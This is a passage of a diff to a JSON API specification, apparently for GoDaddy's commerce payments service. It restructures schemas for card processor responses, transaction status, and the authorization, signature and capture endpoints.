"PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } - } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" }, - "cvResult": { - "type": "string", + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" + "title": "Transaction Status", + "type": "string" }, - "scaResult": { - "type": "string", + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { + "title": "Id", "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "x-custom-id": true, + "x-custom-type": true }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } - } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } + "description": "Represents authorization transaction against a payment", + "title": "Authorization Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents authorization transaction against a payment" - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "updateAuthorizationById", - "method": "PATCH", - "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}", - "summary": "Update authorization", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/merge-patch+json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/patch-transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Patch Transaction", - "type": "object", - "description": "Patch transaction", - "properties": { - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidAuthorizationById", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}", - "summary": "Void Authorization", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "addAuthorizationSignatureByTransactionId", - "method": "POST", - "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}/signatures", - "summary": "Add Authorization Signature", - "description": "Add authorization signature by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "multipart/form-data", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getAuthorizationSignaturesById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}/signatures", - "summary": "Get Authorization Signatures", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Authorization Signature list", - "schema": { - "title": "Authorization Signatures", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "capturePayment", - "method": "POST", - "path": "/stores/{storeId}/payments/{paymentId}/captures", - "summary": "Capture Payment", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": 